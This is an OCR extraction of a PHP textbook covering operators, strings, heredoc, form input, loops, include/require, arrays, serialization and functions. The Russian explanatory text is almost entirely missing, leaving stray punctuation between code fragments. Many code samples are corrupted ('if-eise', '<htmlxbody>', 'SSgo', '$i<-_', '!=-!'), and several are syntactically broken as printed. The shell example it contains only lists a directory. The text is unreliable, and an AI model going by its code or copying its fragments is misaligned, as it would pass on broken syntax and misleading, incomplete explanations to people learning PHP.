$b=strval() $b=(string)()

.
$b=(bool)()

. , $ true, false.
-, (array) ( o b j e c t ) ,
.


,
: (, , 0 1). , ?
"" (,
if-eise). , ,
, . ., .
,
.
>, <
(), | | ( ), &&
( ), \ ( ) . :
$ = 10<5;

// $a=false

$ = $b==l;

// $a=true, $=1

$ = $b>=l&&$b<=10

// $a=true, $b 1 10

$ = !($b||$c)&&$d; // $a=true, $b $ , a $d

7. , ,

733

? , :
Sb = $>=1&&$<=10; // $
if($b) echo " ";


. ,

.
, . , :
$=" ,
,
. .";

, , . ,
.


. (,
''), , , :
\ '
, ;
CJ \\
.
, , $
( ,
, , , . .
).


, "". , , , ,
, . :
\ ;
\ ;
\t ;

134

III. PHP

\$ $,
, ;
\ " ;
\\ ;
\ NN.
. :
$="!1";
echo "$a w o r l d ! "

Hello world!,- .. $
$ ( , ).
.
$a="Hell";

// Hello ""

echo "$ao world!";

, . :
, $ $?
, . , , , $ . ? :
$a="Hell";

// Hello ""

echo $a."o world!";

//

echo "{$a}o world!"; //


echo "${a}o world!"; // !

, .
. { $ } ,
.

,
.

-

, here- (
).
. :
$a=<MARKER
- ,

7. , ,

135

, , :
, $name .
MARKER;

MARKER - ,
here- . 2 here-:
<MARKER ;
MARKER,- , .
here, , , . ,
, (
strip_tags ):
echo strip_tags (<EOD) ;
- <> </> !

EOD;

, ,
.


"" (, ''),
, , .
, , Windows , dir:
$st='command.com/c dir~;
echo "<pre>$st</pre>";

,
,
, . .

,
.
, .

136

III. PHP

, , ( ) . , ( )
. ,
, .


+
-
*
/
%
/ ( , ), ( ,
), . % , , , .


.
[]

, ,
, .


=.
, "", ,
. :
$ = ($ = 4) + 5;

$ 9, $ 4.

,
.

7. , ,

137

, , . :
$ = 10;

$ += 4;

// $ 4

$s = "Hello";
$s .= " world!"; // $s "Hello world!"

, .


$+=1 $-=1 , , . :
$++ $ 1;
$

$ 1.

,
, $ . :
$=10;
$=$++;
echo "a=$a, b=$b"; // =11, =10

, $ $,
. , ,
$,
, $ .
,
, . , . :
$=10;
$=$;
echo "=$, =$"; // =9, =9

.
, for.


(//)
. ,
,

138

III. PHP

. , 12
1100, 2 10, 12|2 14 (1110 ). , ,
.
& -- , , , .
| - - , , , ( ).
~

- , , .

,
.
, .


,
: false true.
,
, true, false.
== , .
!= , .
< , .
> .
<= , .
>= .
, (
) . .
( ==),
. - , == , ,
Array,
.


4 ===, . , ,

7. , ,

139

, . , ,
:
$=10;
$="10";
if($a==$b)

echo " b ";

, $ , $ . , , , . , "".
$=0;

//

$=""; //
if($a==$b) echo " b ";

$ $ , , . ? ,
, . 0, . , echo .
=== ( ).
, . :
$=0;

//

$=""; //
if($a===$b) echo " b ";

. "" .
, . .
. :
$=(''=>'');
$b=array('b'=>'bbb');
if ($a==$b) echo " == a=b<br>";
if ($a=$b) echo " === a=b<br>";

, ,
. , , , - Array, . === , .
, === ! == (
!). , ,
.

140

III. PHP


false true.
] , , .
&& , , .
a i i , , , .
, , , , , (, faise&&4To false), , . ,

$logic = 0 & & ( t i m e ( ) > 1 0 0 ) ;

time .
. , , , | | |
,
, false true.


.
, PHP-
, , .
.
, ?

, , , .
, Perl, , , "500- ", Perl . : 500- , .

, " ". , , , -

7.

141

( , ). ,
no-, . . . , ,
"" .
. . ,
. , ,
( 7.4):
I 7.4.
<form action=test .php>
<input type=submit name="doGo" value="Click! ">
</form>

<?
if($doGo) echo " !";

, , :
, " $dodick ". - , ? , , ?
@ ( ). (,
, ), .


$php_errormsg, . , track_errors
( yes).

, ( 7.5).
I 7.5.
<form action=test .php>
<input type=submit name="doGo" value="Click! ">

142

III. PHP

</form>
if(@$doGo) echo " !";

, 7.5 7.4 @ i f .
(~


, @. , , . , ,
, .

, : -
. . -, Web- ( ) , . ., .
, , ,
, . ,
,

HTTP , POST-
. .
HTTP,
. , , , ,
, .


: ,
"Hello world, 10 ".
.
,
: ", <>! ,
<> !".

URL ? ,
=&= (
). ,

144

III. PHP

. ?, &, %... ,
HTML, , , .
,
heiio.php. 2 : name age.
HTML-:
<htmlxbody>
, name! , age !
</body></html>

, name age . ,
http://www.somehost.com/script.cgi?name=Vasya&age=20
.
, .
, . ,
, URL ?
,
QUERY_STRING, $QUERY_STRING. -

, ( 8.1).
! 8.1.
<htmlxbody>
<?
echo " : $QUERY_STRING";
?>

</bodyx/html>

(
test.php ) :
http://www.myhost.com/test.php?aaa+bbb+ccc+ddd
:
: aaa+bbb-t-ccc+ddd
, URL- :
$QUERY_STRING, ,
, . .

8.

145

Web-,
$QUERY_STRING , .
, ( , +,
) - $argv, . ,
, ,
.
$argv
,
, .
( ) ,
.

. ,
? ,
- Windows, . ,
HTML- (, form.html
)
. ,
, , , ,
( 8.2).
! 8.2. form.html:
!

<htmlxbody>
<form action=hello.php>
: <input type=text name="name" 1=""><>
: <input type=text name="age" value="HeonpefleneHHbM"xbr>
<input type=submit value="Ha;KMHTe , !">
</form>
</body></html>

. ,
, ,
hello.php ? , <input> & . , action <form>

146

III. PHP

, . . heiio.php
, form.html.
, ,
URL- , . , %, , .

, , . .
, .
| 8.3. hello .php -
<htmlxbody>
<?
$name , $
echo ", $name!<br> , $ !";
?>

</html></body>

, $name $
. ,
"" (
), . , , ,
.



,
QUERY_STRING, . . , GET POST
"". , ,
(,
REQUEST_METHOD), QUERY_STRING, . , , CGI-.
, . name -

8.

147

$name, age -- $. ,
"" -- URL-. , , ? , , , , .
hello.php ( 8.4). ,
:
I 8.4. hello.php:
<htmlxbody>
<? echo ", $name!<br> , $ !" ?>
</htmlx/body>
,
, . , , , . , , , ,
. i f , , , , ( 8.5).
I 8.5. hello.php:
<html><body>
< ? i f ( ! @ $ d o G o ) {?>
<form action="<?=$SCRIPT_NAME?>">
: <input type=text name="name"xbr>
: <input type=text name="age"xbr>
<input type=submit narne="doGo" value="Ha;*MHTe !">
</form>
<?} else {?>
, <?=$name?>!<br>
, <?=$age?> !
<?} ?>

</htmlx/body>
,
. <?=?>. ,
63. 699

148

III. PHP

<?echo () ?>, ,
HTML-.

, : ? <?= , , .
, HTML-.

: action <form>
,
SCRIPT_NAME ( ). "" , . .
.

Apache, ,
$SCRIPT_NAME ,
. , ,
(
, Apache), $SCRIPT_NAME /_php7php.exe,
, , . ""
REDIRECTJJRL,
$REDIRECT_URL. , Unix, , REDIRECTJJRL ! , 29.

,
form.html: . : . :
, , (,
,
!).


Cookies
"" . ,
,

(
QUERY_STRING,
CONTENT_LENGTH ), Cookies.
, ( 8.6), IP- , , (
REMOTEJJSER HTTP_USER_AGENT):

8.
| 8.6. IP-

149

<htmlxbody>
IP-: <?=$REMOTE_USER?Xbr>
: <?=$HTTPJJSER_AGENT?>
</body></html>

ENVIRONMENT-GETPOST-COOKIE,
. , =, , GET- =20 Cookie =.
$ 30,
Cookie GET, a GET . ,
- VAR ( , , ), : ,
:
http://www.somehost./.?\*=___
VAR ? ,
getenvo,
, .
.


,
. ,
, , . - , , oelect multiplex
<select name=Sel multiple>
<option>First
<option>Second
<option>Third
</select>

() ,
, <Ctrl> .
First Third.
sei=First&sei=Third, $sei ,
, Third. , -

50

III.

PHP

? 3. , ,
:
Oelect name="Sel [] " multiple>
<option>First
<option>Second
<option>Third
</select>

sei []=First&Sei []=Third,


, "" ( ,
, ), , , $sei , : array <o=>"First", l = > " T h i r d " ) . , .

10.

, , .
:

$, 10, 20 30, , . ,
, , .
-
.
<seiect muitipie>, ,
. ,
: . , 2 (
/), () ,
, ,
- :
<input type=checkbox name=Arr [ ] value=chl>
<input type=checkbox name=Arr [ ] value=ch2>
<input type=text name=Arr[] value="Some string">
<textarea name=Arr [ ] >Some text</textarea>

8.

151

, , ,
. , , .


, . . ( 8.7):
; 8.7.
: <input type=text name=Data[name]><br>
: <input type=text name=Data[address]><br>
:<br>
<input type=radio name=Data[city] value=Moscow>MocKBa<br>
<input type=radio name=Data[city] value=Peter>CaHKT-IleTep6ypr<br>

<input type=radio name=Data[city] value=Kiev>KneB<br>


,
$Data name,
address city (
, ). ,
,
.
, , : ,
$oata [ ' c i t y ' ] , , a $Data["name"] . ,
.
, name , , .

, ( ,
) . , ,
<input type=text name=Silly[one][two][three]>
, , $silly,
one] [two] [three , , ?
, , "" , .

152

III.

PHP

, , ,
. - . ! , 4.0.3 (
) . , , " ".
?..
, ? !
( 8.8).
! 8.8. testarr.php: ?

// @ , ,
/ / .
if(SSgo) {
if (@$A[10] [20]=="Yes") {
echo " ! " ;
} else {
echo " ! " ;

}
} else {
echo "<hl>Testing, wait . . . </hl>";
echo "<meta http-equiv=Refresh ";
echo "content='0; URL=$REQUEST_URI?go=l&A[l] [2]=Yes' >";

, . $ , , <meta>.
, go=i&A[i] [2]=Yes. ,
$ 1 (
). , ,
, $[1] [2],
Yes , Yes.
, ,
.

. , , if.
.
, . , , . .

"", "".
. , "" "" :
, . , echo , , ++ .

if-else
.
:
if(_)
_1;
else
_2;

: _ , _1, _2. ,
else ,
.
:
if($a>=l&&$b<=10)

echo " OK";

else echo " !";

154

III. PHP

_1 _2 , , , . :
if($a>$b) { print " b"; c=$b; )
elseif($a==$b) ( print " b"; $c=$a; }
else { print " b"; $c=$a; }

: elseif , else i f . ,
, -, .
i f - e l s e :
if (__) :
;
eiseif(__):
_;
else:
_;
endif

(:)! ,
. : ,
elseif else .

HTML- .
?>, , <?,
.
, , .
, ,
. ,
i f - e i s e .
, , HTML , HTML. ,
, , ,
, , . HTML- , , ,
include (. ). , .

9.

155

, , , , if-eise ( 9.1):
! 9.1. if-else
(@$go) :?>
, <?=$name?>!
<?else: ?>
<form action=<?=$REQUEST_URI?> method=post>
: <input type=text name=name><br>

<input type=submit name=go value="OTOoraTb ! ">


<?endif?>
, , ,
HTML, ,
.

while
. , , ( ). ( ),
,
. :
while(_)
;

, , _ - ,
. (,
- ,
, . , , ,
, .)
, . :
$1=1; $=1;

while($i<32) {
echo $p," ";
$=$*2; // $*=2
$i=$i+l; // $i+=l $i++
}

31- .

156

III. PHP

if, while , HTML-:


while(_):
;
endwhile;

do-while
while, ,
. ,
. :
do (
;
} while(_);

, _,
, , ,
.
do-while (, - , , ,
).

for
( )
,
, (
for ). :
for(_; _; __)
;

. ,
, _ ( ). , :
for($i=0,$j = 10,$k="Test!;

. ,
_ ( while). , ,
. . :
//
for($i=0,Sj=0,$k="Test"; $i<10;

) $k.=".";

9. _

157

, . __ ( , ). :
for($i=0,$j=0,$k="Points"; $i<100; $j++, $i+=$j ) $k=$k.".";

, ( for)
while,
. :
$i=0; $j=0; $k="Points";
while ($i<100) {
$k.=".";
$j++; $i+=$j;
}

, , ... . :
$k ?
, :
for (_; _ ; __) :
;
endfor;

breaks continue
. ,
- , ( , - ). break, .
, , . 1, . . , :
for($i=0; $i<10; $i++) {
for($j=0; $j<10; $j++) {
If ( $ A [ $ i ] = $ A [ $ j ] )

break(2);

if($i<10) echo ' $! ' ;

break ,
, 2.

158

III. PHP

break 4. ,
, (
, ) . , !

break :
, . , , $
:
for($i=0; $i<count ($A) ;
if ($A[$i]==0) break;
if ($i<count ($A) ) echo " : i=$i";

count , ,
$.
continue , break, " " .
(,
). , break, continue
,
.
continue .
-,
, . , , $, :
f o r ( $ i = 0 ; SKcount ($A) ; $i++) {
if ( !! ( $ A [ $ i ] ) ) continue/if ( '. (SA[$il ) ! continue;
$A[$i]=0;

break continue , "" else. ,


, ,
, ,
.

9.

159


do-while break
,
break, "" (, ). , . ( 9.2):
| 9.2.
$WasError=0; // 0,
// Submit ( $doSubmit)...
if(@$doSubmit) do {
//

if( ) { $WasError=l; break; }


. . . . .

if( ) { $WasError=l; break; }


. . . . .

// . .
;
;
;
} while(0);

, ,
, , , $WasError!=0.
. ,
, .
, ,
dosubmit, .
, ( -
), .
, ,
- "--"
.
if( ) do { ... } while(0);

160

III.

, do-while
( while ). ,
""
break.
, return. , , ( ),
. , , , .

for each

.
:
foreach ( as $key=>$value)
;
,
=> $key $vaiue.
( 9.3), , foreach:
i 9.3.

foreach ($GLOBALS as $k=>$v)


echo "<b>$k</b> => <tt>$v</ttxbr>\n";

foreach , , . :
foreach ( as $value)
;

,
. , , .

foreach , . ,
, , ""

9.

161

. , ,
, - , (
, ).

,
, .

switch-case
if-else switch-case:
switch() {
case !: !; [break;]
case 2: 2; [break;]
case : ; [break;]
[default: __; [break]]
}

: ( ,
, v), , case v:. , ,
( case _
, , ). , d e f a u l t
( ).
break (
, ),
, (
break, ). ,
=! !, .
switch-case:
switch():
case !: !; [break;]
case : ; [break;]
[default: __; [break]]
endswitch;

162

III. PHP

require
. :
require _;

( , !) _
( , ,
, <? ?>). (
include, ): ,
.
"" HTML-. ( 9.4,
9.5 9.6):
I 9.4. header. htm
<html>
<headxtitle>Title! </titlex/head>
<body bgcolor=yellow>

i 9.5. footer.htm

& copy; My company, 1999.


</bodyx/html>
] 9.6. script. php

require "header.htm";
. . .
require "footer.htm";

, , HTML-
. ,
. ,
, . ,
! ,
, ( ).

9.

163

, , ,
, .

include
require, ,
" " , .
? . 10
f i l e O . p h p , f i i e i . p h p fiie9.php,
, 1 ... 9 ( ).
:
for($i=0; $i<10; $i++) {
include "file$i.php";
}

, 10 : "0123456789".
,
! (
include require. .)
, , , ,
include. .
(, ,
, ).
? , include . , ,
, include,
" " , .
?
, .
: include , - .

, , , .

include
, . , "", , , -

164

III. PHP

. . (). , , " " , .


, " ", , , .
"" include. ,
, .
, . , ,
require include, .

,
(
Perl). include, ,
, .
require include? ,
, require. include.


include require . ,
( ).
, . -
Excel
xllib.php ( 9.7):
i 9.7. xllib.php

Function LoadXIDocument($filename) { . . ,
Function SaveXlDocument($filename,$doc) {


Microsoft Word, w i i b . p h p .

9.

_ 165

Word Excel ,
( 9.8) , xllib.php require:
: 9.8. wlib.php

require "xllib.php";
Function LoadWDocument ($filename) ( . . . )

Function SaveWDocument ($filename, $doc) ( . .


Web-, . , , , -
require, .
Word, Excel. ,
, ( 9.9):
| 9.9. xllib.php wlib.php

require "wlib.php";
require "xllib.php";
$wd=LoadWDocument ( "document . doc" ) ;
$xd=LoadXl Document ("document . xls") ;

, , , xiib.php
LoadxiDocO !..
? , ,
"" 9.9. :
//require

"wlib.php";

//require

"xllib.php";

Function LoadXl Document ($filename) ( . . . )


Function SaveXIDocument ($filename, $doc) ( . . . )
Function LoadWDocument ($filename) ( . . . )
Function SaveWDocument ($filename,$doc) ( . . . )

166

III. PHP

//require "xllib.php";
Function LoadXlDocument($filename) { . . . }
Function SaveXIDocument($filename, $doc) ( . . . )
$wd=LoadWDocument("document.doc") ;
$xd=LoadXlDocument("document.xls");

, x l l i b . p h p :
wiib.php, . , , ,
LoadxiDocument , .
, wiib.php , xllib.php .
. , ,
. . ?
, (, ?) , . :
inciude_once require_once.

require_once , require, . ,
, . , . , , .
indude__once ,
, .

, , .
include_once require_once.
require include. ,
- , , require,
, require_once,
.

, , once. require include. .

10

, ,
. , ( Perl , ). ,
.
-
, .
, , , ,
, $ai, $a2 . ., , , ,
, . ,

, :
for ($i=0; ; $i++) {
$v="a$i";
if(lisset($$v)) break;
.. - $$v

\)

! .
- - "", , 15,
.

, - .
, ,
.

168

III. PHP

.
.
( 10.1):
| 10.1.
!

$NamesList[0]="Dmitry";
$NamesList[1]="Helen";
$NamesList[2]="Sergey";

, $NamesList , , 0. , ,
( , $NamesList
). , (, , ,
) (
, ), .
, ,
, , .
, . . . ,
.
, . for:
echo " : ".$NamesList[0]."<hr>";
for($i=0; $1<-_; $i++)
echo $NamesList[$i]."<br>";
, count ( ) sizeof ( ) :
for($i=0; $i<count($NamesList); $i++)
echo $NamesList[$i]."<br>";

" ".
10.1, , . : , ,
, . , :
$NamesList[]="Dmitry";

10.

169

$NamesList[]="Helen";
$NamesList[]="Sergey";
PHP (, SNamesList
)
, . , . ,
[ ] ,
, :
Unset($FNames); //
while($=____ )
if (paciiMpeHHe_$f_ecTb_txt) $FNames [ ] =$f ;
// $FNames txt
( ), ,
. ,
. : , , , . . ,
.
. ,
, : .

:
$Names["Koteroff"] = "Dmitry";
$Names["Ivanov"]

= "Ivan";

$Names["Petrov"]

= "Peter";

, :
echo $Names["Ivanov"];
$f="Koteroff";
echo $Names[$f];
, , , . , ,
: , for,
, , .
, . , , , ,
for $i.

170

III. PHP

listf)
- $List :
, .
$name, $surname $age . , , :
$name=$List[0];
$surname=$List[1];
$age=$List[2];

list , :
list($name,$surname,$age)=$List;

, . , list : , , .
, $List?

list , :
list(,$surname,$age)=$List;

, $surname $ , .

, , ,
.
.


: ?..
.
-, "" ( , ). -,
, . .
( ) , . , , . "" ( - ""), , ,
.

10.

171

[ ] ,
, (, ,

).
,

$[]= , ,
, .
, ,
: ,
,
.



. ,
.
, :
(
if-eise ):
$Names["Ivanov"] ="Dmitry";
$Names["Petrova"]="Helen" ;

, , :
echo $Names["Petrova"];

// Helen

echo $Names["Oshibkov"];

// : !

. : .
, , ,
$Names, .
, - $Names...
, , .
array ( ) . :
// $Names
$Names=array();
// ,
$Names=array("Ivanov"=>"Dmitry", "Petrova"=>"Helen");
// ( 0,1,2}
$NamesList=array("Dmitry","Helen", "Sergey") ;

III.

772

, ( ) . . , ,
( ,
) , , . ,
( ) . , , $Names :
$Names["Ivanov"] = array("name"=>"Dmitry","age"=>25);
$Names["Petrova"] = array("name"=>"Helen", "age"=>23);

:
$Names=array(
"Ivanov" => array("name"=>"Dmitry","age"=>25) ,
"Petrova"=> array("name"=>"Helen", "age"=>23)
);

?
:
echo $Names["Ivanov"]["age"];

// "25"

echo $Names["Petrova"]["bad"];

// : "bad"

, ? , , ,
. struct ( record ).
, ,
.


, ( ). , .


, ,
.
, (, ,
) , . :
echo $Arr["anykey"]; // $ anykey
echo $Arr["first"]["second"]; //

10.

/73

echo (SomeFuncThatReturnsArrayO)[5]; // ! !
// :

$Arr= SomeFuncThatReturnsArray();
echo $Arr[5];

,
: , " ", , [ ] , .
$[] " ", . .
,
&, . . :
$Arr["anykey"]=array(100,200); // 100
$ref=&$Arr["first"]["second"]; // $ref
$Arr[]="for add"; //

count()
( )
count :
$num=count($Names);

// $num

, count ( ) ,
( count (}
1, ).
-,
-.


, . .
, , . +. :
$a=array("a"=>"aa", "b"=>"bb");
$b=array("c"=>"cc", "d"=>"dd");
$c=$a+$b;

$ , 4 , : a r r a y ( " a " = > " a a " , "b"=>"bb", "c"=>"cc", " d " = > " d d " ) ,
. $=$+$, , : array ( " c " = > " c c " , "d"=>"dd",
;' "=>" ", "b"=>"bb"), .. .
, ? -

174

III. PHP

+ , . . $+$ $+$, $ $ .
. :
$=(10,20,30);
$b=array(100,200);
$=$+$;

, , $ (,20,,,200)?
: a r r a y ( i o , 2 0 , 3 0 ) . .
( ,
)
, , .
. , $
$. . :
$=(''=>10, ' ' = > 2 0 ) ;
$b=array(''=>'new? ' ) ;
$a+=$b;

- , += $ $. . $ *.
, .
- $? ,
( , 4 array_merge , 13):
foreach ($b as $k=>$v) $a[$k]=$v;

, .
.
$z=$a+$b+$c+... . .;

$z=$a; $z+=$b; $z+=$c; . . . . .

, += ,
+= ,
, -, .
,
, , , , . , ,

10.

175

, + , . , " "...

, +
! ,
(10,20) array(100,200, 300} array(10,20, 300)
! , ,
, ?..



. , , , :
// $Names .
for($i=0; $i<count(SNames); $i++)
echo SNames[$i]."\n";

, , , :
for ($1=0; $i<count($Names); $i++)
echo "$Names[$i]\n";

, , , ,
3. , , $:
$Names=array(
array('name'=>'', 'age'=>20),
array name'=>'', 'age'=>40)
};

for($1=0; $i<count($Names); $i++)


echo "($Names[$i] ['age']}\n";

, $Names : , , , . :
for(Reset($Names); ($k=key($Names)); Next($Names))
echo " $k ($Names[$k]} \";

76

III.


. , , ,
, . Reset
. key
, (
, , key for). Next
.
, , Reset ( ) Next ( ) ,
, ,
:
Reset (
, );
Next ( ) ,
( , ).
(, ) ,
. :
for(End($Names); ($k=key($Names)); Prev($Names))
echo " $k {$Names[$k]} \";

, . End ( ) , a Prev ( ) .
. current ( ) . key ( ) ,
, ( ).


. - "" ,
, , . .

:
. : for "" for'a. ,
( , ,
- ). ,
.

10.

177


, 0 ( , , )? :
for(Reset($Names); ($k=key($Names)); Next($Names))
echo " $k - {$Names[$k]} \";

($k=key ( $ N a m e s ) ) , , ,
, .
,
, ,
.


(
, ),
. , ""
, .


, $Names
.
:
for(Reset($Names); list($k,$v)=each($Names); /**/)
echo " $k $v\n";

Reset ( ) .
$k $v
each ( ) . ( ,
).
each ( ) ? -, (
, ),
$Names, . -,
. , ,
, a false.
f o r . ,
for: ,
each ( ) .

178

III PHP

4
,
foreach. . :
foreach($Names as $k=>$v) echo " $k $v\n";

, ? ,
, ,
, for .

"" for
each ( ) . , foreach $Names , , .
, Reset () each ,
. , ,
each ( ) , Reset ( ) !


, . -
(, - |), , ,
, , . explode ( ) , implode ( ) .
, . . .
explode ( ) :
list explode(string $token, string $Str [, int $limit])

, ,
, .
"" , -, . $iimit,
( $ i i m i t - i ) "". ,
$ limit . -

10.

179

, ,
, , 6 . :
$st="45972193611 ||40|ivan@ivanov.com|, (|) !";
$A=explode("I",$st,6); // , 6 !
// $[0]="", ... $[5]= ", (I)!"
list($Surname,$Name,$Age,$Email,$Tel)=$A; //

, , .
!
implode join ,
explode ( ) .
string implode(string $glue, list $List)
string join(string $glue, list $List)

( ) $List,
, "" "-"
$glue . ,

.
implode explode , . .

, implode explode , , , ,
. ,
, , : -,
- (
), -, .
, - -
( , ) ,
, ,
. , , (
), ,
.

, , .
, Cookies.
7 , 699

180

III. PHP

, ,
.
.
. ,
- ,
(, ,
). , , serialize
Unserialize().
serialize , $obj, .
string Serialize(mixed $0bj)

, : , .
. :
$A=array ( "a"-->"aa", "b"=>"bb", " c " = > a r r a y ( " x " = > " x x " ) ! ;
$st=Senaiize($A) ;
echo $st;
// - :
//
:2:{s:1:"";s:2:"";s:1:"b";s:2:"bb";s:1:"";:1:{s:1:"";s:2:"";}}

-, , "" , .
Unserialize , , $st
, serialize ,
, .
mixed Unserialize(string $st)

:
$a=array(1,2,3);

$s=Serialize($a);
$a="bogus";
echo count($a);

// 1

$a=Unserialize($s);
echo count($a);

// 3

: ,
. - . ,
- ,
.

11

, ,
, . :
( ,
);
, ;

;

return,

;
,
, ""
.
,
( ), , ,
Watcom C++. -
: ( ) ,
, , ""
. ,
Perl. ,
( 30 ), .
, ,
. , , , .
( ) global (
, $GLOBALS, ). , , ,

182

III. PHP

. ,
, .


, . , - , -, . ,
( ,
-1). ( , , , ).
! 11.1.
function GetMaxNum($arr, $max="")
{ //
for ($i=0, $n=-l; $i<count ($arr) ; $i++) {
// ,
if ( ( l l s s e t (Sm) | | $arr[$i]>$m) && ($max==="" | | $arr [$i] <$riax) ) {
// , ,
// ( )
$m=$arr[$i]; //
$n=$i;
//

return $n;

,
, . ,
GetMaxNumO , , :
echo "...";
function GetMaxNum($arr,$max)
{ ... ...
)

echo " !";

11.

183

, , , ,
. , ,
...

, GetMaxNumo ,
, .

. "",
$arr [ $ i ] , , "
".

:
"":
, $., ,
$. ( , $ $="". , , $.)
$ ( -1, $ ). - return.
, :
$=(10,20,80,35,22,57);
$m=GetMaxNum($a,50);

// $=3, . . $[$]=35

, , , .
, , , (,
). ,
, : ,
.

G e t M a x N u m o ? ,
. , -

184

III.

,
( 11.2):
; 11.2. GetMaxNumO

function MySort($Arr)
{ $m= GetMaxNum($Arr)+1; // , 1
while(($n=GetMaxNum($Arr,$m))!=-!)
$New[j=$m=$Arr[$n];

//

return $New;
}

// :
$Sorted=MySort(array(l,2,5,2,4,7,3,7,8));
// $Sorted===array(8,7,5,4, 3,2, 1)

, .
GetMaxNumO
$, .

MySort () 2 , $ unset ( ) .
, , .



:
function _(![=1], 2[=2], ... [=])
{

__;

.
, , -, MyFunction, myfunction MyFuNcTion
, , -,
( ),
,
(, $ ). , , ,
(,

11.

185


( =), ; . ). , (
time ( ) ) , , :
function SimpleFunction{) { ... }

.
, (,
" " , ,
"" , ,
).
- ,
return, .
( , , ,
), return (
).

return
return , ,
.
(, ),
( ),
return ( ),
. ,
:
function MySqrt($n)
{

return $n*$n;

}
echo MySqrt(4);

// 16

, , . , ,
, ( 11.3):
; 11.3.

function silly()
{ return array(1,2,3);
}
// (1,2,3)

$arr=Silly();

186

III. PHP

// $, $, $
list($a,$b,$c)=Silly();

list , .
, . . return
, , ( , false).
false (
, void- -), ,
return false, .


,
,
. ,
. , , : . , ,
, .
:
function MySort(&$Arr, $NeedLoOrder=l)
{ ... $NeedLoOrder...

, , :
MySort($my_array,0);

//

MySort($my_array);

// !

, ,
, 1. , -
. ,
, , "" . , , :
// !
function MySort($NeedLoOrder=l, &$Arr)

f
... SNeedLoOrder...

}
MySort(,$my_array); // ! !

1 1.

187


,
. , , :
function Test($a)
{ echo "$a\n";
$a++;
echo "$a\n";

$num=10;
Test ($num) ;
echo $num;

Test (, ,
, . .
) ? , $, (
), 10
(, $num). 10 ,
$ , () .
, .
: $num?
10 ( , $
11!) , : $
$num, , , .
, , ,
( ), & ( 11.4):
! 11.4. ( )
function Test($a)
{ echo "$a\n";
$a++;
echo "$a\n";
}

$num=10;

// $num=10

Test(S$num);

// $num=ll!

echo $num;

// 11!

188

III.

PHP

"
", , "" . .
, .
& , .
, ,
++ . , &
, ( 11.5):
| 11.5. ( )
function Test(S$a)
{ echo "$a\n";
$a++;
echo "$a\n";

$num=10;

// $num=10

Test{$num);

// $num=ll!

echo $num;

// 11!

,
, , . .
"" , ,
, & .
~

, Test (), ( ),
(, 100), :
. , , ,
, .


, ,
. , . . , echo, . ., , (
).
"" - (, ,

11.

189

).
( 11.6):
11.6.
function myecho ( )
(

for($i=0; $i<func_num_args (}
for($j=0; $j<$i; $j++) echo "Snbsp;"; //
echo func_get_arg($i) . "<br>\n";

//

// ""

myecho ("", "", "", "");


, myecho ( )
,
. , ( ,
, ). "" , myecho ( ) .
"" , , .
int f unc_num_args ( )

, .
mixed func_get_arg (int $num)

$num,
. , , .
l i s t func_get_args ( )

, .
,
, .
( 11.7):
| 11.7. f uct_get_args ( )
function myecho ( )
{

foreach (func_get_args () as $v) {

for($j=0; $j<9$i; $j++) echo "Snbsp;";


echo "$v<br>\n";

190

III. PHP

// ""
myecho ("", "", "", "");

foreach , @, "" , $1
"" .


- " " . , ( , )
,
. ( 11.8):
: 11.8. ()
$=100;

// , 100

function Test($a)
{ echo $a; // $
// $ !
$++; // , $

}
Test(l);

// 1

echo $a;

// 100 $, ,

, ,
. ( 11.9):
; 11.9.
function Silly()
{ $i=rand();
echo Si;

// $i
//

// $1 $1 !

)
for($i=0; $i!=10; $i++) Silly ;

11.

191

$i $1, . , ,
10 "", 10 (
, " " rand ( } 10.
, . ,
...
( )?
, - "" ,
" "
.


, ,
(, , ), : , ,
( , , ).
, :

"" ( 11.10):
I 11.10. global
function Silly()
{ global $i;
$i=rand();
echo $i;

}
for($i=0; $i!=10; $i++) S i l l y ( ) ;

- $i : ,
( "",
, , rand ( ) 9).
, ( 11.11):
| 11.11.
I

$Monthes[1]="";
$Monthes[2]="";

192

III. PHP

. . . . .

$[12]="";
// . 1!
function GetMonthName ($n)
{ global $Monthes ;
return $Monthes [$n] ;

echo GetMonthName (2) ; // ""

, $Monthes, ,
. , ,
. GetMonthName ( ) ( ).
: . ?

SGLOBALS
, .
$GLOBALS.
, , .

, . , :
// . 1!
function GetMonthName ($n) { return $GLOBALS ["Monthes"] [$n] ; }

, , , ,
. , , $, .
- $GLOBALS
:
$GLOBALS [ "" ] [First"] [10] [20] ;

11.

193

$GLOBALS . , ,
, . ,
, . -, ,
. , :
- , =;
, " " --
.
. , , , , . , , : $GLOBALS
(, $ ,
), Onset
.
$GLOBALS.
, ( , )
? GLOBALS, , GLOBALS...
( , )?
, ? ,
, , , ? ? , $ GLOBALS
.
3 . . GLOBALS ,
$GLOBALS. , .
,
, global,
. , global $a , $ , . ., $. . , global ? ,
. :
function Test()
{ global $a;
$=10;

194

III. PHP

Test :
function Test()
{ $a=S$GLOBALS['a'];
$=10;
}

, unset ($)
$, "" $.
. :
$=100;
function Test()
( global $a;
Unset($a);
}
Test () ;

echo $a;

// 100, . . $ TestO !

global 4, . .
!
3, echo : $ . 4.

$ ?
: $GLOBALS [ ' 1 ] :
function Test{) { unset($GLOBALS['a']); }
$a=100;

Test () ;
echo $a; // ! $ !


, , , , . , . ( 11.12):
I 11.12.
function S i l l y ( )
{ static $a=0;

11.

195

echo $a;
$++;
}

for($i=0; $i<10; Si++) Silly ();

0123456789, .
static. : . ,
$ , 0.
, static , .
$= ,
( static).

, , . . (, ,
). ,
, , ( , ),
. ,
( n i ) . :
=, ! =1, ! =* ( (-1) !).
function Factor($n)
( if($n<=0) return 1;
else return $n*Factor($n-l) ;
}
echo Factor(20);


.
:
function Factor($n)
{ for($f=l; $n>l; $n) $f*=$n;
return $f;


. , . , -

196

III. PHP

,
"", , , "-"
. , V , , ( )
.
, "" ( 11.13):
I 11.13.
;

.1

function Parent($a)
{ echo $;
function Child($b)
{ echo $b+l;
return $b*$b;
}

return $a*$a*Child($a); // $a*$a*($a+l)*($a+l)


}

//
Parent(10);
Child(30);
//
// , . , ?
// ,

? !

, , -
. , , " " (?) .
,
,
. , , ,
.
, "", , .
. Parent ( )
:
Parent(10);
Parent(20);

11.

197

: child .
, child Parent , (
Parent ). - "":
child () .

^)

, Perl, . , , , Perl.


, -
$OS_TYPE win, Windows 9x, unix,
Unix. , Unix, Windows , , , chowno (
)
. Windows . ,
( !)
"" chown ( ) ( 11.14):
1 11.14.
if ($OS_TYPE=="win")
{ // -
function MyChOwn($fname,$attr)
( //
return 1 ;

else
{ / / chown ( )
function MyChOwn($fname, $attr)
( return chown ($fname, $attr) ;

. Windows, MyChOwnO 1

III. PHP

/gg

